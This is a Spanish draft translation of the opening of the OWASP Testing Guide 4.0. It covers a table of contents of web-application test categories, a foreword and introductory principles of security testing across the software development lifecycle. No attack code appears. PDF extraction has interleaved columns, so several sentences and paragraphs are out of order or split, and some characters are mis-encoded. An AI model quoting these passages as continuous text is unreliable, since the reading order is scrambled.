Guia de pruebas 4.0 "Borrador"
FERNANDO VELA
ROBERTO ANDRADE QUITO- ECUADOR
Documento Pre-release cortesÃa de Fernando Vela para drangonjar.org 1
Guia de pruebas 4.0 "Borrador"
LOS ICONOS DE ABAJO REPRESENTAN QUE OTRAS VERSIONES ESTÁN DISPONIBLES EN IMPRESO PARA ESTE TÍTULO DE LIBRO. ALPHA: el contenido del libro "Calidad Alfa" es un borrador de trabajo. El contenido es muy áspero y en desarrollo hasta el nivel siguiente de la publicación. BETA: el contenido del libro "Calidad Beta" es el siguiente nivel más alto. El contenido está todavía en desarrollo hasta la próxima publicación. RELEASE: el contenido del libro "Calidad de Liberación" es el más alto nivel de calidad en un título del libro ciclo de vida, y es un producto final.
–
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 2
Guia de pruebas 4.0 "Borrador"
Documento Pre-release cortesĂa de Fernando Vela para drangonjar.org 3
Guia de pruebas 4.0 "Borrador"
Indice 0 Página 6-8
Prologo por Eoin Keary
1 Página 9-12
Frontispicio Acerca de el proyecto de guia de pruebas OWASP Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta
2 Página 13-37
Introduction El proyecto de pruebas OWASP Principios de la prueba Explicación de las técnicas de prueba Derivar requerimientos de pruebas de seguirdad Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad Análisis de datos de prueba de seguridad y reportes
3 Página 38-41
El marco referencial (framework) de pruebas de OWASP Resumen Fase1: Antes del inicio del desarrollo
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 1
Guia de pruebas 4.0 "Borrador"
Fase 2: Durante la definición y diseño Fase 3: Durante el desarrollo Fase 4: Durante la fase de implementación Fase 5: Mantenimiento y operaciones Flujo de trabajo del marco de pruebas de OWASP
4 Páginas 42-313
Pruebas de seguridad de aplicaciones WEB Introducción y objetivos Listado de validación de pruebas Recopilación de información Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de información (OTG-INFO-001) Huellas digitales servidor WEB (OTG-INFO-002) Revision de los meta archivos del servidor web en busca de fugas de información (OTG-INFO-003) Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004) Revisión de los comentarios del sitio web y los metadatos en busca de fujas de información (OTG-INFO-005) Identificar puntos de entrada de la aplicación (OTG-INFO-006) Creación de mapas de rutas de ejecución a través de la aplicación (OTG-INFO-007) Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008) Huellas digitales aplicaciones WEB (OTG-INFO-009) Mapa de arquitectura de la aplicación (OTG-INFO-010) Pruebas para gestionar la configuración y la implementación Prueba configuración Red/Infraestructura (OTG-CONFIG-001) Prueba de la configuración de la plataforma de aplicaciónes (OTG-CONFIG-002) Prueba manejo de archivos de extensiones en busca información sensible (OTG-CONFIG-003) Revisión archivos viejos, copias de seguridad y archivos no referenciados para Información sensible (OTG-CONFIG-004) Enumeración Infraestructura y de Interfaces de administración de aplicaciones (OTG-CONFIG-005)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 2
Guia de pruebas 4.0 "Borrador"
Prueba metodos HTTP (OTG-CONFIG-006) Prueba HTTP Strict Transport Security (OTG-CONFIG-007) Prueba política de dominio cruzado RIA (OTG-CONFIG-008) Pruebas de Administración de Identidad Prueba de definición de roles (OTG-IDENT-001) Prueba proceso de registro de usuarios (OTG-IDENT-002) Prueba proceso de provisión de cuentas (OTG-IDENT-003) Pruebas para ennumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004) Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005) Pruebas de autenticación Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001) Pruebas credenciales por defecto (OTG-AUTHN-002) Pruebas para mecanismos de seguridad débiles (OTG-AUTHN-003) Pruebas para eludir el esquema de autenticación (OTG-AUTHN-004) Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005) Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006) Prueba para politica de clave débil (OTG-AUTHN-007) Prueba para seguirdad pregunta/respuest débil (OTG-AUTHN-008) Prueba para cambios de clave débil o funcionalidades de reinio. (OTG-AUTHN-009) Prueba para autenticación débil en canal alternativo (OTG-AUTHN-010) Pruebas de autorización Prueba de inclusión archivos de directorio de circulación (OTG-AUTHZ-001) Prueba para evadir el esquema de autorización (OTG-AUTHZ-002) Prueba para escalación de privilegios (OTG-AUTHZ-003) Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004) Pruebas de administración e sesión Prueba para evadir el esquema de administración de sesión (OTG-SESS-001) Prueba para atributos de cookies (OTG-SESS-002)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 3
Guia de pruebas 4.0 "Borrador"
Prueba de fijación de sesión (OTG-SESS-003) Prueba de exposición de variables de sesión (OTG-SESS-004) Prueba para falsificación de petición de sitio cruzado (CSRF) (OTG-SESS-005) Pruebas funcionalidad cierre de sesión (OTG-SESS-006) Pruebas del tiempo cierre de sesión (OTG-SESS-007) Prueba para sobrecarga de variables (Session puzzling) (OTG-SESS-008) Pruebas de validación de entradas Pruebas para la reflexión de Cross Site scripting (OTG-INPVAL-001) Pruebas de Cross Site Scripting almacenados (OTG-INPVAL-002) Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003) Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004) Pruebas de Inyecciones de SQL (OTG-INPVAL-005) Pruebas en Oracle Pruebas de MySQL Pruebas del servidor SQL (SQL Server) Probar la seguridad del proyecto de acceso restringido PostgresSQL de OWASP Pruebas para MS Access Pruebas de inyección NoSQL Pruebas de inyección LDAP (OTG-INPVAL-006) Pruebas de inyección de ORM (OTG-INPVAL-007) Pruebas de inyección de XML (OTG-INPVAL-008) Pruebas de inyección SSI (OTG-INPVAL-009) Pruebas de inyección XPath (OTG-INPVAL-010) Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011) Pruebas de inyección de código (OTG-INPVAL-012) Pruebas para determinar la inclusión de documentos locales Pruebas para la inclusión remota de archivos Pruebas de inyección de comandos (OTG-INPVAL-013)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 4
Guia de pruebas 4.0 "Borrador"
Pruebe la saturación del Búfer (OTG-INPVAL-014) Pruebas de saturación de Heap Probar la saturación de pila de datos Pruebas para la cadena de formato Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015) Pruebas para verificar la separación/contrabando de HTTP (OTG-INPVAL-016) Pruebas de manejo de errores Pruebas de errores de código (OTG-ERR-001) Pruebas para determinar los rastors de pila de datos (OTG-ERR-002) Pruebas para Critografía débil Pruebas de codificadores SSL/TLS débiles, pritección de trasnporte de capas insuficiente (OTG-CRYPST-001) Prueba del Padding Oracle (REelleno de Oracle) (OTG-CRYPST-002) Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) Prueba de la lógica del negocio Pruebas de la validación de datos de la lógica del negocio (OTG-BUSLOGIC-001) Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-002) Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Pruebas del tiempo de procesamiento (OTG-BUSLOGIC-004) Prueba del número de veces que limita el uso de una función (OTG-BUSLOGIC-005) Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006) Prueba de las defensas contra el mal uso de la aplicación (OTG-BUSLOGIC-007) Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) Prueba de la posibilidad de carga de archivos maliciosos (OTG-BUSLOGIC-009) Pruebas en el lado del cliente Prueba del Cross Site Scripting basado en DOM (OTG-CLIENT-001) Prueba de la ejecución de JavaScript (OTG-CLIENT-002) Prueba de inyección de HTML (OTG-CLIENT-003) Pruebas de redireccionamiento de la URL del lado del cliente (OTG-CLIENT-004)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 5
Guia de pruebas 4.0 "Borrador"
Pruebas de inyección de CSS (OTG-CLIENT-005) Pruebas de la manipulación de recursos del lado del cliente (OTG-CLIENT-006) Pruebas para el Intercambio de recursos de origen cruzado (OTG-CLIENT-007) Pruebas de Cross Site Flashing (OTG-CLIENT-008) Pruebas de Clickjacking (OTG-CLIENT-009) Pruebas de WebSockets (OTG-CLIENT-010) Prueba de mensajería web (Web Messaging) (OTG-CLIENT-011) Prueba de Almacenamiento Local (OTG-CLIENT-012)
5 Páginas 314-331
Apéndice Apéndice A: Herramientas de prueba Herramientas de Pruebas de Caja Negra de código abierto Apéndice B: Lecturas sugeridas Libros Blancos Libros Páginas Web Útiles Apéndice C: Vectores Fuzz Categorías Fuzz Apéndice D: Inyección codificada Codificación de entrada Codificación de salida
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 6
Guia de pruebas 4.0 "Borrador"
Prólogo de la Guía de Pruebas
0
El problema del software no seguro es quizás el desafío técnico más importante de nuestro tiempo. El dramático aumento de las aplicaciones web para negocios, redes sociales, etc. sólo ha
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 7
Guia de pruebas 4.0 "Borrador"
complicado los requerimientos para definir un enfoque robusto para escribir y asegurar nuestras Aplicaciones Web e Información.
Prólogo de Eoin Keary, Consejo Global OWASP
El problema del software inseguro es quizás el desafío técnico más importante de nuestro tiempo. El aumento espectacular de las aplicaciones web que permiten generar negocios, redes sociales, etc. sólo ha agravado los requisitos para establecer un enfoque robusto para escribir y asegurar nuestros Internet, Aplicaciones Web y Datos.
En el Proyecto de Seguridad para Aplicaciones en Red Abierta (OWASP), estamos tratando de hacer del mundo un lugar donde el software inseguro sea la anomalía, no la norma. La Guía de Pruebas OWASP tiene un papel importante que desempeñar en la solución de este grave problema. Es de vital importancia que nuestro enfoque para pruebas de software por temas de seguridad se base en los principios de ingeniería y ciencia. Necesitamos un enfoque consistente, repetible y definido para las pruebas de aplicaciones web. Un mundo sin normas mínimas en materia de ingeniería y tecnología es un mundo caótico.
Es obvio que no se puede construir una aplicación segura sin realizar pruebas de seguridad en la misma. Las pruebas son parte de un enfoque más amplio en la construcción de un sistema seguro. Muchas organizaciones de desarrollo de software no incluyen pruebas como parte de su procedimiento estándar de desarrollo de software. Lo que es peor aún, muchos proveedores de seguridad entregan pruebas con diversos grados de calidad y rigor.
Las pruebas de seguridad, por sí mismas, no son una medida de seguridad particularmente confiable de lo segura que es una aplicación, ya que hay un número infinito de formas en que un atacante podría ser capaz de romper la aplicación, y simplemente no es posible poner a prueba a todas ellas. No podemos nosotros mismos hackear seguridades y solo tenemos un tiempo limitado para probar y defender mientras que un atacante no tiene estas limitaciones.
En conjunto con otros proyectos de la OWASP como la Guía de Revisión de Códigos, la Guía de Desarrollo y Herramientas como OWASP ZAP, es un gran comienzo para la construcción y mantenimiento de aplicaciones seguras. La guía de desarrollo mostrará para su proyecto cómo diseñar y construir una aplicación segura, la Guía de Revisión de Códigos le dirá cómo verificar la seguridad del código de origen de su aplicación, y esta Guía de Pruebas le mostrará cómo verificar la seguridad de su aplicación en funcionamiento. Yo recomiendo utilizar estas guías como parte de sus iniciativas para la seguridad de su aplicación.
¿Por qué OWASP?
Crear una guía como esta es una gran tarea que requiere de la experiencia de cientos de personas alrededor del mundo. Hay muchas maneras diferentes para detectar fallos de seguridad y esta guía captura el consenso de los principales expertos sobre cómo realizar esta prueba con rapidez, exactitud y eficiencia.OWASP da a personas de seguridad con conocimientos afines la capacidad de trabajar conjuntamente y formar un enfoque de práctica de liderazgo para un problema de seguridad.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 8
Guia de pruebas 4.0 "Borrador"
La importancia de tener esta guía en forma totalmente libre y abierta es importante para la misión de las fundaciones. Da a cualquiera la capacidad de entender las técnicas usadas para detectar problemas de seguridad comunes. La seguridad no debe ser un arte oscuro o un secreto cerrado que sólo unos pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los profesionales en seguridad, sino también para desarrolladores de control de calidad y gerentes técnicos. El proyecto para la construcción de esta guía mantiene la experiencia en manos de la gente que lo necesita; usted, yo y cualquier persona que participa en la construcción de software.
Esta guía debe abrirse paso hasta las manos de los desarrolladores y evaluadores de software. No hay suficientes expertos de seguridad de aplicaciones en el mundo para hacer una abolladura significativa en el problema general.
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los hombros de los desarrolladores; ellos escriben el código. No debería ser una sorpresa que los desarrolladores no están produciendo codificación segura si no la están probando o consideran los tipos de errores que generan la vulnerabilidad.
Mantener esta información actualizada es un aspecto crítico de este proyecto de guía. Adoptando el enfoque wiki, la comunidad OWASP puede evolucionar y ampliar la información en esta guía para mantener el ritmo con el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta guía es un gran testimonio de la pasión y energía que nuestros miembros y voluntarios del proyecto han dedicado a este tema. Sin duda ayudará a cambiar el mundo "una línea de código" a la vez.
Confeccionar y Priorizar
Usted debería adoptar esta guía en su organización. Deberá adaptar la información para que coincida con la tecnología, procesos y estructura organizacional de su empresa.
• Los desarrolladores deben usar esta guía para asegurarse de que están produciendo códigos seguros. Estas pruebas deben ser parte de los procedimientos normales de los códigos y de la unidad de pruebas.
• Los evaluadores de software y control de calidad deben usar esta guía para ampliar el conjunto de casos de prueba que emplean en las aplicaciones. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de tiempo y esfuerzo más adelante.
• Los especialistas en seguridad deben usar esta guía en combinación con otras técnicas como una manera de verificar que no se haya escapado algún agujero de seguridad en la aplicación.
• Los gerentes de proyectos deben considerar la razón por la que esta guía existe y que las cuestiones de seguridad se manifiestan mediante errores de código y diseño.
Lo más importante cuando se realizan pruebas de seguridad es recordar que se deben priorizar continuamente. Hay un número infinito de posibilidades para que una aplicación pueda fallar, y las organizaciones siempre han tenido tiempo y recursos limitados. Asegúrese de que el tiempo y los recursos se utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad que son un riesgo real para su negocio. Trate de contextualizar el riesgo en cuanto a la aplicación y sus usos. Esta guía se visualiza mejor como un conjunto de técnicas que puede utilizar para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las técnicas son igual de importantes. Trate de evitar el uso de la guía como una lista de verificación. Nuevas vulnerabilidades siempre se manifestarán y ninguna guía puede ser una lista exhaustiva de "cosas por probar", sino más bien un gran lugar para comenzar.
El papel de las herramientas automatizadas
Existe un número de empresas que venden análisis de seguridad automatizados y herramientas de prueba. Recuerde las limitaciones de estas herramientas para que pueda usarlas para lo que son buenas. Como Michael Howard dijo en la Conferencia del 2006 de OWASP AppSec en Seattle: "¡las herramientas no hacen al software seguro! Ayudan a elevar el proceso y a cumplir la política."
En general, hay varios roles diferentes que pueden usar esta guía dentro de las organizaciones: Lo más importante, estas herramientas son genéricas; lo que significa que no están diseñadas para un código personalizado, sino para aplicaciones en
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 9
Guia de pruebas 4.0 "Borrador"
general. Eso significa que mientras pueden encontrar algunos problemas genéricos, no tienen suficiente conocimiento de la aplicación para que puedan detectar la mayoría de los errores. En mi experiencia, los más graves problemas de seguridad son los que no son genéricos, sino profundamente entrelazados en su lógica de negocio y diseño de la aplicación personalizada.
Estas herramientas también pueden ser seductoras, puesto que encuentran una gran cantidad de problemas potenciales. Mientras que ejecutar las herramientas no toma mucho tiempo, cada uno de los problemas potenciales toma tiempo en investigar y verificar. Si el objetivo es encontrar y eliminar los defectos más graves lo más rápidamente posible, considere si es mejor utilizar su tiempo con herramientas automatizadas o con las técnicas descritas en esta guía. Sin embargo, estas herramientas son, sin duda, parte de un programa de seguridad de aplicaciones bien equilibrado. Usadas sabiamente, pueden apoyar sus procesos globales para producir un código más seguro.
de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor agregue una nota en la página de discusión o haga el cambio usted mismo. Estará ayudando a miles de personas que utilizan esta guía.
Por favor, considere unirse a nosotros como miembro individual o corporativo, para que podamos seguir produciendo materiales como esta guía de prueba y todos los otros grandes proyectos en OWASP.
Gracias a todos los participantes pasados y futuros de esta guía; su trabajo ayudará a hacer aplicaciones más seguras en todo el mundo.
Llamado a la acción Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013 Si está construyendo, diseñando o probando software, le animo a familiarizarse con la guía de la prueba de seguridad en este documento. Es un gran mapa para probar los problemas más comunes que enfrentan hoy los usos
Frontispicio de la Guía de Prueba
1
"Conocimiento abierto y colaborativo: ésta es la forma de la OWASP."
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 10
Guia de pruebas 4.0 "Borrador"
Con V4 nos dimos cuenta de una nueva guía que será la guía estándar por defecto para realizar pruebas de Penetración de Aplicaciones Web. -Matteo Meucci.
El Proyecto de Pruebas OWASP
2
El proyecto de pruebas OWASP ha sido desarrollado durante muchos años. El objetivo del proyecto es ayudar a las personas a entender el qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones web.
Redactar la Guía de Pruebas ha demostrado ser una tarea difícil. Fue un reto conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos descritos en la guía, permitiendo a la vez que trabajen en su propio entorno y cultura. También fue un reto el cambiar el enfoque de las pruebas de pruebas de penetración a pruebas integradas en el ciclo de vida de desarrollo de las aplicaciones web.
Sin embargo, el grupo está muy satisfecho con los resultados del proyecto. Muchos expertos de la industria y profesionales de seguridad, algunos de los cuales son responsables de la seguridad del software en algunas de las empresas más grandes del mundo, están validando el marco de la prueba. Este marco ayuda a las organizaciones a probar sus aplicaciones web para crear software confiable y seguro. El marco no solo resalta las áreas débiles, aunque este último es sin duda un subproducto de muchas de las guías y listas de verificación de OWASP. Así, decisiones difíciles tuvieron que tomarse, respecto a la conveniencia de ciertas técnicas de prueba y tecnologías de pruebas. El Grupo entiende perfectamente que no todos estarán de acuerdo con todas estas decisiones. Sin embargo, OWASP es capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a través de sensibilización y educación basadas en el consenso y la experiencia.
El resto de esta guía está organizado como se indica a continuación: Esta introducción cubre los prerrequisitos de las pruebas de aplicaciones web y de su alcance. También cubre los principios exitosos de pruebas y las técnicas de pruebas. El Capítulo 3 presenta el marco de pruebas de OWASP y explica sus técnicas y tareas en relación con las distintas fases del ciclo de vida del desarrollo de aplicaciones. El Capítulo 4 cubre cómo comprobar vulnerabilidades específicas (por ejemplo, inyección de SQL) mediante inspección de código y pruebas de penetración.
Para medir la seguridad: la economía del software inseguro
Un principio básico de la ingeniería de software es que usted no puede controlar lo que no se puede medir [1]. Las pruebas de seguridad no son diferentes. Desafortunadamente, medir la seguridad es un proceso difícil. Este tema no se cubrirá en detalle aquí, ya que tendrá su guía propia (para una introducción, vea [2]).
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las cuestiones técnicas específicas (por ejemplo, cómo prevalece una cierta vulnerabilidad) y cómo estos problemas afectan la economía del software. La mayoría de personas técnicas comprenderán al menos las cuestiones fundamentales, o pueden tener una comprensión más profunda de las vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese conocimiento técnico en términos monetarios y cuantificar el costo potencial de las vulnerabilidades al negocio del propietario de la aplicación. Hasta que esto no ocurra, los gerentes de sistemas (CIO) no serán capaces de calcular un retorno exacto de inversión en seguridad y, consecuentemente, asignar un presupuesto apropiado para la seguridad de las aplicaciones. Mientras que calcular el costo de software inseguro puede parecer una tarea desalentadora, ha habido una cantidad significativa de trabajo en esta dirección. Por ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estándares (NIST) publicó una encuesta sobre el costo del software inseguro en la economía de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente, se estima que una mejor infraestructura de pruebas ahorraría más de un tercio de esos costos, o alrededor de $22 mil millones al año. Más recientemente, los vínculos entre la economía y la seguridad han sido estudiados por investigadores académicos. Vea [4] para más información sobre algunos de estos esfuerzos.
El marco descrito en este documento alienta a las personas a medir la seguridad a través del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del software inseguro con el impacto que tiene en el negocio y, en consecuencia, desarrollar procesos de negocios adecuados y asignar recursos para manejar el riesgo. Recuerde que la medición y pruebas de aplicaciones web son incluso más
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 11
Guia de pruebas 4.0 "Borrador"
críticas que otros programas, ya que las aplicaciones web están expuestas a millones de usuarios a través de Internet.
¿Qué es probar? Durante el ciclo de vida de desarrollo de una aplicación web necesitan probarse muchas cosas, pero ¿qué significa realmente probar? El diccionario MerriamWebster describe como:
La mayoría de la gente, hoy en día, no prueba el software hasta que ya ha sido creado y está en la fase de despliegue de su ciclo de vida (es decir, el código ha sido creado y utilizado en una aplicación web activa). Esto suele ser una práctica muy ineficaz y con un costo prohibitivo. Uno de los mejores métodos para impedir que haya fallos de seguridad que aparecen en aplicaciones en producción es mejorar el Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de artefactos de software. Si un SDLC actualmente no está siendo utilizando en su entorno, ¡es hora de elegir uno! La siguiente figura muestra un modelo SDLC genérico, así como el costo creciente (estimado) de corrección de fallas de seguridad en este modelo.
• Poner a prueba o verificar. • Someterse a una prueba.
Figura 1: Modelo SDLC genérico
• Asignar una posición o una evaluación basada en pruebas.
Para los efectos de este documento, probar es un proceso de comparar el estado de un sistema o una aplicación contra un conjunto de criterios. En la industria de seguridad, las personas, con frecuencia, prueban contra un conjunto de criterios mentales que no son bien definidos ni completos. Como resultado de esto, muchas personas ajenas consideran las pruebas como un arte oscuro. El objetivo de este documento es cambiar esa percepción y hacerlo más fácil para que personas sin conocimientos detallados de seguridad puedan hacer una diferencia en las pruebas.
¿Por qué realizar pruebas? Este documento está diseñado para ayudar a las organizaciones a entender lo que comprende un programa de pruebas y para ayudarles a identificar los pasos que deben realizarse para construir y operar un programa de pruebas en aplicaciones web. La guía ofrece una amplia visión de los elementos necesarios para hacer un programa comprensible de seguridad para aplicaciones web. Esta guía puede utilizarse como una guía de referencia y metodología para ayudar a determinar la brecha entre las prácticas existentes y las mejores prácticas de la industria. Esta guía permite a las organizaciones compararse con colegas del sector, para comprender la magnitud de los recursos necesarios para probar y mantener el software, o para prepararse para una auditoría. Este capítulo no entra en los detalles Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de seguridad para garantizar que esta esté adecuadamente cubierta y los controles sean eficaces durante todo el proceso de desarrollo. técnicos de cómo probar una aplicación, ya que la intención es proporcionar un marco de seguridad organizacional típico. Los detalles técnicos acerca de cómo probar una aplicación, como parte de una revisión de códigos o pruebas de penetración, se cubrirá en las demás partes de este documento.
¿Cuándo probar?
¿Qué se prueba? Puede ser útil pensar en el desarrollo de software como una combinación de personas, procesos y tecnología. Si estos son los factores que "crean" software, entonces es lógico que estos sean los factores que deben analizarse. Hoy, la mayoría de la gente generalmente prueba la tecnología o el software mismo.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 12
Guia de pruebas 4.0 "Borrador"
Un programa efectivo de pruebas debe tener componentes que prueban:
Principios de la prueba
Personas – para asegurar que existe una educación adecuada y consciente; Proceso – para asegurar que hay criterios y políticas adecuadas y que las
personas sepan cómo seguir estas políticas; Tecnología – para garantizar que el proceso ha sido eficaz en su implementación.
A menos que se adopte un enfoque integral, sólo probar la aplicación técnica de una aplicación no destapará la gestión o vulnerabilidades operacionales que podrían estar presentes. Probando a las personas, políticas y procesos, una organización puede encontrar temas que después se manifiesten en defectos en la tecnología, así como erradicar errores tempranamente e identificar la causa de los defectos. Además, sólo probando algunas de las cuestiones técnicas que pueden estar presentes en un sistema resultará en una evaluación de seguridad incompleta e inexacta.
Denis Verdon, Jefe de Seguridad de la Información en Fidelity National Finantial, presentó una excelente analogía de este concepto erróneo en la Conferencia OWASP AppSec 2004 en Nueva York [5]: «si los coches fueran construidos como aplicaciones [...] las pruebas de seguridad asumirían únicamente un impacto frontal. Los coches no serían probados en volcamiento, o pruebas de estabilidad en maniobras de emergencia, la efectividad de los frenos, impacto lateral y la resistencia al robo."
Retroalimentación y comentarios Como con todos los proyectos de OWASP, agradecemos sus comentarios
No hay una bala de plata Aunque es tentador pensar que un escáner de seguridad o cortafuegos para aplicaciones pueden proporcionar muchas defensas contra el ataque o identificar una serie de problemas, en realidad no hay ninguna bala de plata para el problema del software inseguro. El software de evaluación de seguridad, aunque es útil como un primer paso para encontrar el premio deseado, suele ser inmaduro e ineficaz en las evaluaciones a fondo o en brindar una prueba de cobertura adecuada. Recuerde que la seguridad es un proceso y no un producto.
Pensar estratégicamente, no tácticamente En los últimos años, los profesionales de la seguridad se han dado cuenta de la falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la información durante la década de 1990. El modelo de remendar y penetrar implica corregir un error reportado, pero sin una investigación adecuada de la causa inicial. Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra en la figura siguiente. La evolución de las vulnerabilidades en software común utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para obtener más información acerca de la ventana de la vulnerabilidad, consulte [6].
Estudios de vulnerabilidad [7] han demostrado que, con el tiempo de reacción de los atacantes en todo el mundo, la típica ventana de vulnerabilidad no proporciona suficiente tiempo para la instalación de la corrección, desde el momento de descubrir una vulnerabilidad; que se desarrolle y lance un ataque automático contra la aplicación ha ido disminuyendo cada año.
Hay varias suposiciones incorrectas en el modelo de parche y penetración. Muchos usuarios creen que los parches interfieren con las operaciones normales y podrían dañar las aplicaciones existentes. También es incorrecto asumir que todos los usuarios están conscientes de los parches recientemente lanzados. Por lo tanto, no todos los usuarios de un producto aplicarán parches, porque piensan que el parche puede interferir con el funcionamiento del software o por la falta de conocimiento sobre la existencia del parche.
y sugerencias. Especialmente nos gusta saber que nuestro trabajo está siendo utilizado y que es eficaz y preciso. Hay algunos errores comunes al desarrollar una metodología de pruebas para encontrar las fallas de seguridad en el software. Este capítulo cubre algunos de los principios básicos que los profesionales deben tomar en cuenta al realizar pruebas de seguridad en el software.
Figura 2: Ventana de vulnerabilidad
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 13
Guia de pruebas 4.0 "Borrador"
Es fundamental incluir la seguridad en el ciclo de vida de desarrollo de software (SDLC) para evitar problemas de seguridad recurrentes dentro de una aplicación. Los desarrolladores pueden incluir la seguridad en el SDLC mediante el desarrollo de normas, políticas y directrices que encajan y funcionan dentro de la metodología de desarrollo. El uso de modelos de amenazas y otras técnicas deberían usarse para ayudar a asignar recursos adecuados a las partes de un sistema que están en mayor riesgo. El SDLC es rey
El SDLC es un proceso muy conocido por los desarrolladores. Integrando la seguridad en cada fase del SDLC, nos permite una visión holística de la seguridad de la aplicación que aprovecha los procedimientos vigentes dentro de la organización. Tome en cuenta que mientras los nombres de las distintas fases pueden cambiar dependiendo del modelo de SDLC utilizado por cada organización, cada fase conceptual del arquetipo SDLC será utilizado para desarrollar la aplicación (es decir, definir, diseñar, desarrollar,
implementar, mantener). Cada fase tiene consideraciones de seguridad que deben formar parte del proceso existente, para asegurar un programa de seguridad integral y rentable.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo muestra cómo debe trabajar el SDLC seguro y el asesoramiento descriptivo muestra cómo debe usarse en el mundo real. Ambos tienen su lugar.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 14
Guia de pruebas 4.0 "Borrador"
Por ejemplo, si no sabe por dónde empezar, un marco prescriptivo puede proporcionar un menú de controles de seguridad potenciales que pueden aplicarse en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de decisión mediante la presentación de lo que ha funcionado bien para otras organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos seguros incluyen el Software Abierto de Modelo de Garantía de Madurez de OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual todavía están en desarrollo.
Prueba temprano y prueba continuamente Cuando un error se detecta tempranamente dentro del SDLC, puede abordarse más rápido y a menor costo. En este sentido, un fallo de seguridad no es diferente de un fallo funcional o de un fallo basado en el rendimiento. Un paso clave para hacer que esto sea posible es educar a los equipos de desarrollo y control de calidad sobre los problemas comunes de seguridad y las maneras de detectar y evitarlos. Aunque las nuevas bibliotecas, herramientas o idiomas pueden ayudar a diseñar mejores programas (con menos errores de seguridad), nuevas amenazas surgen
herramientas automatizadas son realmente malas al realizar pruebas de vulnerabilidad automáticamente es que este pensamiento creativo debe hacerse caso por caso, ya que la mayoría de las aplicaciones web se desarrollan de una manera única (aun cuando usen marcos comunes).
Entender el tema Una de las primeras iniciativas importantes en cualquier buen programa de seguridad es solicitar documentación precisa sobre la aplicación. La arquitectura, diagramas de flujo de datos, casos de uso, etc., deberían ser escritos en documentos formales y disponibles para su revisión. Las especificaciones técnicas y documentos de la aplicación deben incluir información que muestre no sólo los casos deseados de uso, sino también cualquier caso de uso no permitido expresamente. Por último, es bueno tener al menos una infraestructura de seguridad básica que permita la supervisión y seguimiento de tendencias de ataque contra las aplicaciones y la red de la organización (por ejemplo, los sistemas IDS).
Utilizar la herramientas correctas constantemente y los desarrolladores deben ser conscientes de las amenazas que afectan al software que están desarrollando. La educación en pruebas de seguridad también ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar una aplicación desde la perspectiva de un atacante. Esto permite a cada organización considerar los problemas de seguridad como parte de sus responsabilidades actuales.
Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las herramientas juegan un papel crítico en el programa general de seguridad. Hay una gama de herramientas de código abierto y herramientas comerciales que pueden automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en sus tareas. Sin embargo, es importante entender exactamente lo que estas herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen incorrectamente.
